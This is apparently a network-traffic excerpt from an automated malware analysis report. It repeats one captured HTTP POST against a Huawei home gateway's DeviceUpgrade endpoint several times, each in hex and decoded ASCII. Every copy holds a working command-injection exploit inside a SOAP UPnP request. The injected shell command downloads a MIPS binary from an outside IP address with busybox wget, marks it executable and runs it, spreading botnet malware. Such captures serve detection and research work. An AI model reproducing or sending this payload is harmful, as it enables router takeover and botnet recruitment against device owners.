3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
